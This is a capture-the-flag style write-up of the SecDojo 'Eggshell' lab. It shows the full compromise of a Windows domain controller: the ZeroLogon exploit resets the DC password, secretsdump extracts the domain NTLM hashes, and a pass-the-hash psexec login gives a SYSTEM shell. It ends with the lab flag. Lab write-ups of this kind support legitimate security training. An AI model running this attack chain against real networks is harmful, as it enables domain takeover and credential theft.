SecDojo - Westeros Lab

Eggshell machine write up

Sesco

2022-12-29

Information

- **Name:** Westeros Lab - Eggshell Machine
- **Profile:** SecDojo
- **Difficulty:** Easy
- **Description:** Westeros is a network of vulnerable Windows servers. Each box suffers from a severe vulnerability that if properly exploited, will grant you administrator access and get you the root flag located at the Administrator desktop folder.

Enumeration

Nmap

We begin our reconnaissance by running an Nmap scan checking services and their versions also checking default scripts and testing for vulnerabilities.

```
$ nmap -Pn -sV -sC 172.16.4.236
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-28 15:57 UTC
Nmap scan report for 172.16.4.236
Host is up (0.00038s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE           VERSION
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server
   time: 2022-12-28 15:58:17Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory
   LDAP (Domain: lab.secdojo.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds      Windows Server 2016 Datacenter 14393
   microsoft-ds (workgroup: LAB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
3268/tcp open  ldap              Microsoft Windows Active Directory
   LDAP (Domain: lab.secdojo.local, Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl?
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: LAB
|   NetBIOS_Domain_Name: LAB
|   NetBIOS_Computer_Name: SRV-DC1
|   DNS_Domain_Name: lab.secdojo.local
|   DNS_Computer_Name: srv-dc1.lab.secdojo.local
|   DNS_Tree_Name: lab.secdojo.local
```

```
|   Product_Version: 10.0.14393
|_  System_Time: 2022-12-28T15:58:22+00:00
| ssl-cert: Subject: commonName=srv-dc1.lab.secdojo.local
| Not valid before: 2022-12-27T14:20:17
|_Not valid after:  2023-06-28T14:20:17
|_ssl-date: 2022-12-28T15:59:02+00:00; 0s from scanner time.
Service Info: Host: SRV-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery:
|   OS: Windows Server 2016 Datacenter 14393 (Windows Server 2016
    Datacenter 6.3)
|   Computer name: srv-dc1
|   NetBIOS computer name: SRV-DC1\x00
|   Domain name: lab.secdojo.local
|   Forest name: lab.secdojo.local
|   FQDN: srv-dc1.lab.secdojo.local
|_  System time: 2022-12-28T15:58:23+00:00
| smb2-time:
|   date: 2022-12-28T15:58:23
|_  start_date: 2022-12-28T14:20:25
|_nbstat: NetBIOS name: SRV-DC1, NetBIOS user: <unknown>, NetBIOS MAC:
    06:41:0b:79:e8:1e (unknown)

Service detection performed. Please report any incorrect results at
    https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.21 seconds
zsh: segmentation fault  nmap -Pn -sV -sC 172.16.4.236
```

From the above output we can see that ports, **53**, **88**, **135**, **139**, **389**, **445**, **464**, **593**, **636**, **3268**, **3269** and **3389** are the open ports also we found that the running system is **Windows Server 2016 Datacenter 6.3**.

After doing some more enumerations I couldn't find something usefull, so I've used the hint which got me straight into the point, the machine is vulnerable to CVE-2020-1472 aka ZeroLogon that affects Active Directory's domain controller server and exactly one of its protocols called Netlogon Remote Protocol, which helps domain controller to identify and authenticate users and client computers before they are granted access to the network, moreover the encryption implemention Netlogon uses contains a fatal flaw. In short this vulnerability allows us to impersonate a valid user and change the password of any computer account or the domain controller itself which we're going to do.

Exploitation

I'll be using an online script to exploit our machine. This script will set domain controller's password to null.

```
$ python3 ./set_empty_pw.py SRV-DC1 172.16.4.236
Performing authentication attempts...
================================================================================

NetrServerAuthenticate3Response
ServerCredential:
    Data:                           b'\x81o\x0e\x1a\xf1#\xaah'
NegotiateFlags:                 556793855
AccountRid:                     1008
ErrorCode:                      0


server challenge b'\x81=o\xe0\xf8R\x8e\xee'
NetrServerPasswordSet2Response
ReturnAuthenticator:
    Credential:
        Data:                           b'\x01\xe5\xde8G\xd8\xd1\xe0'
    Timestamp:                      0
ErrorCode:                      0



Success! DC should now have the empty string as its machine password.
```

Source: *https://github.com/risksense/zerologon*

Now to get the credentials or NTLM hashes we'll have to extract NTDS.DIT data which is a database that stores Active Directory data, including information about user objects, groups and group membership. Importantly, the file also stores the password hashes for all users in the domain.

```
$ secretsdump.py -just-dc LAB.SECDOJO.LOCAL/SRV-DC1\$@172.16.4.236
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022
    SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:
    a6cf4e66d7fba60a999debe07bc31a5d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31
    d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:164
    c2c62baca5631306fa88d1a603c8e:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31
```

```
        d6cfe0d16ae931b73c59d7e0c089c0:::
```

As you can see that's our NTLM hash of the Administrator, let's use Pass-The-Hash attack to get in.

```
┌──(kali㉿kali)-[~/Downloads/zerologon]
└─$ psexec.py Administrator:@172.16.4.236 -hashes aad3b435b51404eeaad3b435b51404ee:a6cf4e66d7fba60a999debe07bc31a5d
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 172.16.4.236.....
[*] Found writable share ADMIN$
[*] Uploading file meIrjyHB.exe
[*] Opening SVCManager on 172.16.4.236.....
[*] Creating service LuEi on 172.16.4.236.....
[*] Starting service LuEi.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>
```

Figure 1: *Successful Pass-The-Hash attack*

Root Flag

```
C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is F436-3608

 Directory of C:\Users\Administrator\Desktop

12/28/2022  02:24 PM    <DIR>          .
12/28/2022  02:24 PM    <DIR>          ..
06/21/2016  03:36 PM               527 EC2 Feedback.website
06/21/2016  03:36 PM               554 EC2 Microsoft Windows Guide.website
12/28/2022  02:24 PM                49 proof.txt
               3 File(s)          1,130 bytes
               2 Dir(s)  15,916,150,784 bytes free

C:\Users\Administrator\Desktop> type proof.txt
Eggshell_Sesco-y4uy0v4h9u1pcr6jhs7mu1nymdmk1t8h
```

Figure 2: *Inside Administrator Desktop*

Flag: `Eggshell_Sesco-y4uy0v4h9u1pcr6jhs7mu1nymdmk1t8h`